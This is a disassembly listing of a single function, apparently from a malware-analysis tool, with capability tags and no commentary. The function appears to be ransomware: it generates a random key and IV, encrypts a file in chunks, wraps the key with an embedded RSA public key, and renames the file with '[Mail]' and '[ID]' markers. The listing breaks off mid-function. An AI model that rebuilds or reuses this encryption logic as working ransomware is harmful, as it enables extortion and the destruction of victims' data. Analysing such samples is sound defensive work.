Function at 0x418c30
Capabilities:
Contain obfuscated stackstrings
Move file
Read file on windows
Write file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a5561
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push ecx
mov eax, 0x200594
call fcn.004638f0
mov eax, dword [0x4d8114]
xor eax, ebp
mov dword [ebp - 0x1c], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x2004fc], 0
mov dword [ebp - 4], 0
mov byte [ebp - 4], 4
lea edx, [ebx + 8]
mov byte [ebp - 0x2004fc], 0
lea ecx, [ebp - 0x200170]
push dword [ebp - 0x2004fc]
call fcn.00411aa0
add esp, 4
lea eax, [ebp - 0x2000f8]
mov byte [ebp - 4], 5
push eax
lea ecx, [ebp - 0x200170]
call fcn.00404f20
push eax
lea ecx, [ebp - 0x2001c8]
mov byte [ebp - 4], 6
call fcn.00408b50
mov byte [ebp - 4], 8
mov edx, dword [ebp - 0x2000e4]
cmp edx, 8
jb 0x418d17
mov ecx, dword [ebp - 0x2000f8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x418d0d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a17c
push edx
push ecx
call fcn.00462702
add esp, 8
xor eax, eax
mov dword [ebp - 0x2000e8], 0
lea ecx, [ebp - 0x200158]
mov dword [ebp - 0x2000e4], 7
mov word [ebp - 0x2000f8], ax
call fcn.00415d10
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x200158]
cmp dword [ebp - 0x200144], 0x10
mov esi, dword [ebp - 0x200148]
cmovae ecx, dword [ebp - 0x200158]
add esi, ecx
mov dword [ebp - 0x200130], 0
cmp dword [ebp - 0x200144], 0x10
lea ecx, [ebp - 0x200158]
mov dword [ebp - 0x20012c], 7
cmovae ecx, dword [ebp - 0x200158]
xor eax, eax
mov word [ebp - 0x200140], ax
mov eax, esi
sub eax, ecx
mov dword [ebp - 0x2004fc], ecx
push eax
lea ecx, [ebp - 0x200140]
call fcn.004089f0
push dword [ebp - 0x2004fc]
lea ecx, [ebp - 0x200140]
push esi
push dword [ebp - 0x2004fc]
call fcn.004122f0
lea ecx, [ebp - 0x200098]
mov byte [ebp - 4], 0xa
call fcn.00415be0
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x200098]
cmp dword [ebp - 0x200084], 0x10
mov esi, dword [ebp - 0x200088]
cmovae ecx, dword [ebp - 0x200098]
add esi, ecx
mov dword [ebp - 0x200118], 0
cmp dword [ebp - 0x200084], 0x10
lea ecx, [ebp - 0x200098]
mov dword [ebp - 0x200114], 7
cmovae ecx, dword [ebp - 0x200098]
xor eax, eax
mov word [ebp - 0x200128], ax
mov eax, esi
sub eax, ecx
mov dword [ebp - 0x2004fc], ecx
push eax
lea ecx, [ebp - 0x200128]
call fcn.004089f0
push dword [ebp - 0x2004fc]
lea ecx, [ebp - 0x200128]
push esi
push dword [ebp - 0x2004fc]
call fcn.004122f0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x200098]
cmp dword [ebp - 0x200084], 0x10
mov esi, dword [ebp - 0x200088]
cmovae ecx, dword [ebp - 0x200098]
add esi, ecx
mov dword [ebp - 0x2000e8], 0
cmp dword [ebp - 0x200084], 0x10
lea ecx, [ebp - 0x200098]
mov dword [ebp - 0x2000e4], 7
cmovae ecx, dword [ebp - 0x200098]
xor eax, eax
mov word [ebp - 0x2000f8], ax
mov eax, esi
sub eax, ecx
mov dword [ebp - 0x2004fc], ecx
push eax
lea ecx, [ebp - 0x2000f8]
call fcn.004089f0
push dword [ebp - 0x2004fc]
push esi
push dword [ebp - 0x2004fc]
lea ecx, [ebp - 0x2000f8]
call fcn.004122f0
push 0x4c0c50
lea edx, [ebp - 0x2001c8]
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x34]
call fcn.004101d0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0x200140]
cmp dword [ebp - 0x20012c], 8
push dword [ebp - 0x200130]
cmovae eax, dword [ebp - 0x200140]
push eax
call fcn.00408ae0
mov dword [ebp - 0x200524], 0
xor ecx, ecx
mov dword [ebp - 0x200520], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x200534], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x200524], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 6
push str._Mail_
lea ecx, [ebp - 0x200534]
mov byte [ebp - 4], 0xf
call fcn.00408ae0
mov dword [ebp - 0x20053c], 0
xor ecx, ecx
mov dword [ebp - 0x200538], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x20054c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x20053c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x10
lea eax, [ebx + 0x38]
cmp dword [ebx + 0x4c], 8
lea ecx, [ebp - 0x20054c]
push dword [ebx + 0x48]
cmovae eax, dword [ebx + 0x38]
push eax
call fcn.00408ae0
mov dword [ebp - 0x200584], 0
xor ecx, ecx
mov dword [ebp - 0x200580], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x200594], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x200584], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 5
push str._ID__
lea ecx, [ebp - 0x200594]
mov byte [ebp - 4], 0x11
call fcn.00408ae0
mov dword [ebp - 0x200554], 0
xor ecx, ecx
mov dword [ebp - 0x200550], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x200564], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x200554], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x12
lea eax, [ebx + 0x20]
cmp dword [ebx + 0x34], 8
lea ecx, [ebp - 0x200564]
push dword [ebx + 0x30]
cmovae eax, dword [ebx + 0x20]
push eax
call fcn.00408ae0
mov dword [ebp - 0x20056c], 0
xor ecx, ecx
mov dword [ebp - 0x200568], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x20057c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x20056c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 2
push 0x4c0c2c
lea ecx, [ebp - 0x20057c]
mov byte [ebp - 4], 0x13
call fcn.00408ae0
mov dword [ebp - 0x20050c], 0
xor ecx, ecx
mov dword [ebp - 0x200508], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x20051c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x20050c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0x200128]
cmp dword [ebp - 0x200114], 8
lea ecx, [ebp - 0x20051c]
push dword [ebp - 0x200118]
cmovae eax, dword [ebp - 0x200128]
push eax
call fcn.00408ae0
mov dword [ebp - 0x200100], 0
xor ecx, ecx
mov dword [ebp - 0x2000fc], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x200110], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x200100], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x16
mov edx, dword [ebp - 0x200508]
cmp edx, 8
jb 0x4191a9
mov ecx, dword [ebp - 0x20051c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41919f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a181
push edx
push ecx
call fcn.00462702
add esp, 8
xor eax, eax
mov dword [ebp - 0x20050c], 0
mov dword [ebp - 0x200508], 7
mov word [ebp - 0x20051c], ax
mov byte [ebp - 4], 0x17
mov edx, dword [ebp - 0x200568]
cmp edx, 8
jb 0x41920a
mov ecx, dword [ebp - 0x20057c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x419200
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a186
push edx
push ecx
call fcn.00462702
add esp, 8
xor eax, eax
mov dword [ebp - 0x20056c], 0
mov dword [ebp - 0x200568], 7
mov word [ebp - 0x20057c], ax
mov byte [ebp - 4], 0x18
mov edx, dword [ebp - 0x200550]
cmp edx, 8
jb 0x41926b
mov ecx, dword [ebp - 0x200564]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x419261
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a18b
push edx
push ecx
call fcn.00462702
add esp, 8
xor eax, eax
mov dword [ebp - 0x200554], 0
mov dword [ebp - 0x200550], 7
mov word [ebp - 0x200564], ax
mov byte [ebp - 4], 0x19
mov edx, dword [ebp - 0x200580]
cmp edx, 8
jb 0x4192cc
mov ecx, dword [ebp - 0x200594]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4192c2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a190
push edx
push ecx
call fcn.00462702
add esp, 8
xor eax, eax
mov dword [ebp - 0x200584], 0
mov dword [ebp - 0x200580], 7
mov word [ebp - 0x200594], ax
mov byte [ebp - 4], 0x1a
mov edx, dword [ebp - 0x200538]
cmp edx, 8
jb 0x41932d
mov ecx, dword [ebp - 0x20054c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x419323
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a195
push edx
push ecx
call fcn.00462702
add esp, 8
xor eax, eax
mov dword [ebp - 0x20053c], 0
mov dword [ebp - 0x200538], 7
mov word [ebp - 0x20054c], ax
mov byte [ebp - 4], 0x1b
mov edx, dword [ebp - 0x200520]
cmp edx, 8
jb 0x41938e
mov ecx, dword [ebp - 0x200534]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x419384
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a19a
push edx
push ecx
call fcn.00462702
add esp, 8
xor eax, eax
mov dword [ebp - 0x200524], 0
mov dword [ebp - 0x200520], 7
mov word [ebp - 0x200534], ax
mov byte [ebp - 4], 0x1c
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x4193e9
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4193df
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a19f
push edx
push ecx
call fcn.00462702
add esp, 8
xor eax, eax
mov dword [ebp - 0x24], 0
push 0x80
push eax
mov word [ebp - 0x34], ax
lea eax, [ebp - 0x200308]
push eax
mov dword [ebp - 0x20], 7
call fcn.0047a450
add esp, 0xc
lea ecx, [ebp - 0x200308]
call fcn.00457080
push 0x20
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x200308]
push 0
mov dword [ebp - method.CryptoPP::AutoSeededRandomPool.virtual_0], vtable.CryptoPP::AutoSeededRandomPool.0
call fcn.0044d160
push 0x20
lea eax, [ebp - 0x7c]
mov byte [ebp - 4], 0x1e
push eax
lea ecx, [ebp - 0x200308]
call fcn.0042cf90
push 0x10
lea eax, [ebp - 0x5c]
push eax
lea ecx, [ebp - 0x200308]
call fcn.0042cf90
push 0xc0
lea eax, [ebp - 0x200448]
push 0
push eax
call fcn.0047a450
add esp, 0xc
lea ecx, [ebp - 0x200448]
call fcn.004069e0
push 0x10
lea eax, [ebp - 0x5c]
mov byte [ebp - 4], 0x1f
push eax
push 0x20
lea eax, [ebp - 0x7c]
push eax
lea ecx, [ebp - 0x200448]
call fcn.0042dec0
mov eax, dword [ebx + 0x68]
xorps xmm0, xmm0
sub eax, 0x1400000
movlpd qword [ebp - 0x2005a0], xmm0
mov dword [ebp - 0x200504], eax
mov eax, dword [ebx + 0x6c]
sbb eax, 0
cmp dword [ebx + 0x1c], 8
mov dword [ebp - 0x2004fc], eax
lea eax, [ebx + 8]
cmovae eax, dword [ebx + 8]
push 0x4c0ca8
push eax
call fcn.00485171
mov edi, dword [ebp - 0x20059c]
add esp, 8
mov esi, dword [ebp - 0x2005a0]
mov dword [ebp - 0x200500], eax
nop dword [eax]
cmp edi, dword [ebp - 0x2004fc]
jg 0x4195ad
jl 0x41950a
cmp esi, dword [ebp - 0x200504]
ja 0x4195ad
push 0
push edi
push esi
push eax
call fcn.00485bfc
push dword [ebp - 0x200500]
lea eax, [ebp - 0x200080]
push 0x100000
push 1
push eax
call fcn.00485811
add esp, 0x20
lea eax, [ebp - 0x200080]
lea ecx, [ebp - 0x200440]
push 0x100000
push eax
lea eax, [ebp - 0x100080]
push eax
call fcn.0044fe70
push 0
push edi
push esi
push dword [ebp - 0x200500]
call fcn.00485bfc
push dword [ebp - 0x200500]
lea eax, [ebp - 0x100080]
push 0x100000
push 1
push eax
call fcn.00484ed3
add esp, 0x20
cmp edi, 0x96
jl 0x419599
jg 0x419587
test esi, esi
je 0x419599
mov esi, dword [ebp - 0x200504]
mov edi, dword [ebp - 0x2004fc]
add esi, 0xa
adc edi, 0
mov eax, dword [ebp - 0x200500]
add esi, 0xa00000
adc edi, 0
jmp 0x4194f0
push eax
call fcn.00482c03
movups xmm0, xmmword [ebp - 0x7c]
add esp, 4
mov dword [ebp - 0x2000d0], 0
lea ecx, [ebp - 0x2000e0]
mov dword [ebp - 0x2000cc], 0xf
movups xmmword [ebp - 0x4c], xmm0
mov byte [ebp - 0x2000e0], 0
movups xmm0, xmmword [ebp - 0x6c]
push 0x30
push 0x4c0c54
movups xmmword [ebp - 0x3c], xmm0
movups xmm0, xmmword [ebp - 0x5c]
movups xmmword [ebp - 0x2c], xmm0
call fcn.0040d370
xor edx, edx
nop dword [eax]
cmp dword [ebp - 0x2000cc], 0x10
lea eax, [ebp - 0x2000e0]
mov cl, byte [ebp + edx - 0x4c]
cmovae eax, dword [ebp - 0x2000e0]
mov byte [eax + edx], cl
inc edx
cmp edx, 0x30
jl 0x419600
push 0x40
lea eax, [ebp - 0x2001b0]
push 0
push eax
call fcn.0047a450
add esp, 0xc
mov dword [ebp - 0x2001a8], 0x4c074c
mov dword [ebp - 0x2004fc], 0x7fc
mov dword [ebp - 4], 0x22
lea ecx, [ebp - 0x2001a4]
mov dword [ebp - method.CryptoPP::RSAFunction.virtual_0], vtable.CryptoPP::RSAFunction.0
mov dword [ebp - method.CryptoPP::RSAFunction.1.virtual_0], vtable.CryptoPP::RSAFunction.1.0
mov dword [ebp - method.CryptoPP::RSAFunction.2.virtual_0], vtable.CryptoPP::RSAFunction.2.0
call fcn.00432fd0
lea ecx, [ebp - 0x20018c]
mov byte [ebp - 4], 0x23
call fcn.00432fd0
push 0x38
lea eax, [ebp - 0x200200]
mov byte [ebp - 4], 0x24
push 0
push eax
call fcn.0047a450
add esp, 0xc
push 0x3c
call fcn.00462455
mov esi, eax
add esp, 4
mov dword [ebp - 0x2004fc], esi
push 0x3c
push 0
push esi
mov byte [ebp - 4], 0x25
call fcn.0047a450
add esp, 0xc
call fcn.004566e0
push 0
push 6
push eax
mov ecx, esi
call fcn.00406280
push esi
push ecx
lea eax, [ebx + 0x50]
mov dword [esi], vtable.CryptoPP::Base64Decoder.1.0
push eax
lea ecx, [ebp - 0x200200]
mov dword [esi + 4], vtable.CryptoPP::Base64Decoder.0
mov byte [ebp - 4], 0x24
call fcn.00405a60
lea eax, [ebp - 0x200200]
mov byte [ebp - 4], 0x26
push eax
lea ecx, [ebp - 0x2001ac]
call fcn.004293a0
push 0x80
lea eax, [ebp - 0x200388]
push 0
push eax
call fcn.0047a450
add esp, 0xc
lea ecx, [ebp - 0x200388]
call fcn.00457080
push 0x20
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x200388]
push 0
mov dword [ebp - method.CryptoPP::AutoSeededRandomPool.virtual_0], vtable.CryptoPP::AutoSeededRandomPool.0
call fcn.0044d160
push 0x4c
mov byte [ebp - 4], 0x28
lea eax, [ebp - 0x200288]
push 0
push eax
call fcn.0047a450
mov eax, dword [ebp - 0x2001a8]
lea ecx, [ebp - 0x2001a8]
add esp, 0xc
mov eax, dword [eax + 4]
add eax, ecx
lea ecx, [ebp - 0x200288]
push eax
call fcn.004073d0
mov dword [ebp - 0x2000b8], 0
mov dword [ebp - 0x2000b4], 0xf
mov byte [ebp - 0x2000c8], 0
push 0x38
lea eax, [ebp - 0x200238]
mov byte [ebp - 4], 0x2a
push 0
push eax
call fcn.0047a450
add esp, 0xc
push 0x4c
call fcn.00462455
mov esi, eax
add esp, 4
mov dword [ebp - 0x2004fc], esi
push 0x4c
push 0
push esi
mov byte [ebp - 4], 0x2b
call fcn.0047a450
add esp, 0xc
push 0x10
call fcn.00462455
mov edi, eax
add esp, 4
mov dword [ebp - 0x200504], edi
xorps xmm0, xmm0
mov byte [ebp - 4], 0x2c
push 0
mov ecx, edi
movups xmmword [edi], xmm0
call fcn.0042bea0
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0x2000c8]
push dword [section..data]
mov dword [edi + 0xc], eax
lea ecx, [ebp - 0x200388]
mov dword [edi], vtable.CryptoPP::StringSinkTemplate_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___.0
mov dword [edi + 4], vtable.CryptoPP::StringSinkTemplate_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___.1.0
mov eax, dword [ebp - 0x200288]
push 0
push ecx
lea ecx, [ebp - 0x200288]
mov eax, dword [eax + 0x1c]
call eax
push edi
push 0
push 0
push eax
mov ecx, esi
call fcn.00448590
push esi
push ecx
lea eax, [ebp - 0x2000e0]
mov dword [esi], vtable.CryptoPP::PK_EncryptorFilter.1.0
push eax
lea ecx, [ebp - 0x200238]
mov dword [esi + 4], vtable.CryptoPP::PK_EncryptorFilter.0
mov byte [ebp - 4], 0x2a
call fcn.00405a60
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x200170]
cmp dword [ebp - 0x20015c], 8
mov eax, dword [ebp - 0x200160]
cmovae ecx, dword [ebp - 0x200170]
lea edi, [ecx + eax*2]
mov edx, edi
mov esi, edi
call fcn.00404de0
mov dword [ebp - 0x2004fc], eax
cmp eax, edi
je 0x4198b9
movzx ecx, word [esi - 2]
cmp ecx, 0x5c
je 0x4198a8
cmp ecx, 0x2f
je 0x4198a8
xor al, al
jmp 0x4198aa
mov al, 1
test al, al
jne 0x4198b9
add esi, 0xfffffffe
cmp dword [ebp - 0x2004fc], esi
jne 0x419896
sub edi, esi
mov dword [ebp - 0x20050c], 0
sar edi, 1
lea ecx, [ebp - 0x20051c]
push edi
xor eax, eax
mov dword [ebp - 0x200508], 7
push esi
mov word [ebp - 0x20051c], ax
call fcn.0040d030
push ecx
lea eax, [ebp - 0x200534]
mov byte [ebp - 4], 0x2e
push eax
lea ecx, [ebp - 0x20051c]
call fcn.0040fa70
push 2
push 0x4c0c88
push 0
lea ecx, [ebp - 0x200534]
mov byte [ebp - 4], 0x2f
call fcn.00411770
mov dword [ebp - 0x2000a0], 0
mov dword [ebp - 0x20009c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2000b0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x2000a0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x31
mov edx, dword [ebp - 0x200520]
cmp edx, 0x10
jb 0x419990
mov ecx, dword [ebp - 0x200534]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x419986
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a1a4
push edx
push ecx
call fcn.00462702
add esp, 8
mov dword [ebp - 0x200524], 0
mov dword [ebp - 0x200520], 0xf
mov byte [ebp - 0x200534], 0
mov byte [ebp - 4], 0x32
mov edx, dword [ebp - 0x200508]
cmp edx, 8
jb 0x4199ef
mov ecx, dword [ebp - 0x20051c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4199e5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a1a9
push edx
push ecx
call fcn.00462702
add esp, 8
xor eax, eax
mov dword [ebp - 0x20050c], 0
push 0xb0
push eax
mov word [ebp - 0x20051c], ax
lea eax, [ebp - 0x2004f8]
push eax
mov dword [ebp - 0x200508], 7
call fcn.0047a450
cmp dword [ebx + 0x1c], 8
lea eax, [ebx + 8]
lea ecx, [ebp - 0x2004f8]
cmovae eax, dword [ebx + 8]
push eax
call fcn.0040a480
mov byte [ebp - 4], 0x33
mov eax, dword [ebp - 0x2004f8]
mov eax, dword [eax + 4]
cmp dword [ebp + eax - 0x2004ec], 0
jne 0x419b2b
cmp dword [ebp - 0x20009c], 0x10
lea eax, [ebp - 0x2000b0]
push 0
push dword [ebp - 0x2000a0]
cmovae eax, dword [ebp - 0x2000b0]
lea ecx, [ebp - 0x2004f8]
push eax
call fcn.0040b1b0
cmp dword [ebp - 0x2000b4], 0x10
lea eax, [ebp - 0x2000c8]
push 0
push dword [ebp - 0x2000b8]
cmovae eax, dword [ebp - 0x2000c8]
lea ecx, [ebp - 0x2004f8]
push eax
call fcn.0040b1b0
push 0
push 2
push 0x4c0cb0
lea ecx, [ebp - 0x2004f8]
call fcn.0040b1b0
cmp dword [ebp - 0x2004a8], 0
lea esi, [ebp - 0x2004f4]
jne 0x419ac7
xor esi, esi
jmp 0x419aee
lea ecx, [ebp - 0x2004f4]
call fcn.0040dbd0
push dword [ebp - 0x2004a8]
xor ecx, ecx
test al, al
cmove esi, ecx
call fcn.00482c03
xor ecx, ecx
add esp, 4
test eax, eax
cmovne esi, ecx
push 2
push 0
lea ecx, [ebp - 0x2004f4]
call fcn.0040dc90
test esi, esi
jne 0x419b2b
mov eax, dword [ebp - 0x2004f8]
lea ecx, [ebp - 0x2004f8]
push esi
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403870
cmp dword [ebp - 0x2000fc], 8
lea ecx, [ebp - 0x200110]
lea eax, [ebx + 8]
cmovae ecx, dword [ebp - 0x200110]
cmp dword [ebx + 0x1c], 8
push ecx
cmovae eax, dword [ebx + 8]
push eax
call fcn.00484fb7
mov eax, dword [ebp - 0x2004f8]
add esp, 8
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x2004f8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x2004fc], eax
lea ecx, [ebp - 0x2004f4]
call fcn.0040b0e0
mov eax, dword [ebp - 0x2004f8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x2004f8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x2004fc], eax
lea eax, [ebp - 0x200490]
mov byte [ebp - 4], 0x34
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.0045fdad
mov byte [ebp - 4], 0x2d
add esp, 4
mov edx, dword [ebp - 0x20009c]
cmp edx, 0x10
jb 0x419c08
mov ecx, dword [ebp - 0x2000b0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x419bfe
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a1ae
push edx
push ecx
call fcn.00462702
add esp, 8
mov dword [ebp - 0x2000a0], 0
mov dword [ebp - 0x20009c], 0xf
mov byte [ebp - 0x2000b0], 0
mov dword [ebp - method.CryptoPP::SourceTemplate_class_CryptoPP::StringStore_.virtual_0], vtable.CryptoPP::SourceTemplate_class_CryptoPP::StringStore_.0
mov dword [ebp - method.CryptoPP::SourceTemplate_class_CryptoPP::StringStore_.1.virtual_0], vtable.CryptoPP::SourceTemplate_class_CryptoPP::StringStore_.1.0
mov byte [ebp - 4], 0x35
mov ecx, dword [ebp - 0x20022c]
test ecx, ecx
je 0x419c4b
mov eax, dword [ecx]
push 1
call dword [eax]
mov byte [ebp - 4], 0x29
mov edx, dword [ebp - 0x2000b4]
cmp edx, 0x10
jb 0x419c89
mov ecx, dword [ebp - 0x2000c8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x419c7f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a1b3
push edx
push ecx
call fcn.00462702
add esp, 8
lea ecx, [ebp - 0x20027c]
mov dword [ebp - 0x2000b8], 0
mov dword [ebp - 0x2000b4], 0xf
mov byte [ebp - 0x2000c8], 0
call fcn.00407060
lea ecx, [ebp - 0x200388]
mov dword [ebp - method.CryptoPP::NameValuePairs.virtual_0], vtable.CryptoPP::NameValuePairs.0
mov dword [ebp - method.CryptoPP::AutoSeededRandomPool.virtual_0], vtable.CryptoPP::AutoSeededRandomPool.0
call fcn.00405da0
mov dword [ebp - method.CryptoPP::SourceTemplate_class_CryptoPP::StringStore_.virtual_0], vtable.CryptoPP::SourceTemplate_class_CryptoPP::StringStore_.0
mov dword [ebp - method.CryptoPP::SourceTemplate_class_CryptoPP::StringStore_.1.virtual_0], vtable.CryptoPP::SourceTemplate_class_CryptoPP::StringStore_.1.0
mov byte [ebp - 4], 0x36
mov ecx, dword [ebp - 0x2001f4]
test ecx, ecx
je 0x419cf6
mov eax, dword [ecx]
push 1
call dword [eax]
lea ecx, [ebp - 0x2001b0]
call fcn.00407060
mov edx, dword [ebp - 0x2000cc]
mov dword [ebp - method.CryptoPP::NameValuePairs.virtual_0], vtable.CryptoPP::NameValuePairs.0
cmp edx, 0x10
jb 0x419d45
mov ecx, dword [ebp - 0x2000e0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x419d3b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a1b8
push edx
push ecx
call fcn.00462702
add esp, 8
lea ecx, [ebp - 0x2003b8]
mov dword [ebp - 0x2000d0], 0
mov dword [ebp - 0x2000cc], 0xf
mov byte [ebp - 0x2000e0], 0
call fcn.00407160
lea ecx, [ebp - 0x200448]
call fcn.00406f90
lea ecx, [ebp - 0x200308]
mov dword [ebp - method.CryptoPP::AutoSeededRandomPool.virtual_0], vtable.CryptoPP::AutoSeededRandomPool.0
call fcn.00405da0
mov edx, dword [ebp - 0x2000fc]
cmp edx, 8
jb 0x419dcb
mov ecx, dword [ebp - 0x200110]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x419dc1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a1bd
push edx
push ecx
call fcn.00462702
add esp, 8
mov edx, dword [ebp - 0x2000e4]
xor eax, eax
mov dword [ebp - 0x200100], 0
mov dword [ebp - 0x2000fc], 7
mov word [ebp - 0x200110], ax
cmp edx, 8
jb 0x419e28
mov ecx, dword [ebp - 0x2000f8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x419e1e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a1c2
push edx
push ecx
call fcn.00462702
add esp, 8
mov edx, dword [ebp - 0x200114]
cmp edx, 8
jb 0x419e68
mov ecx, dword [ebp - 0x200128]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x419e5e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a1c7
push edx
push ecx
call fcn.00462702
add esp, 8
mov edx, dword [ebp - 0x200084]
cmp edx, 0x10
jb 0x419ea2
mov ecx, dword [ebp - 0x200098]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x419e98
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a1cc
push edx
push ecx
call fcn.00462702
add esp, 8
mov edx, dword [ebp - 0x20012c]
mov dword [ebp - 0x200088], 0
mov dword [ebp - 0x200084], 0xf
mov byte [ebp - 0x200098], 0
cmp edx, 8
jb 0x419efd
mov ecx, dword [ebp - 0x200140]
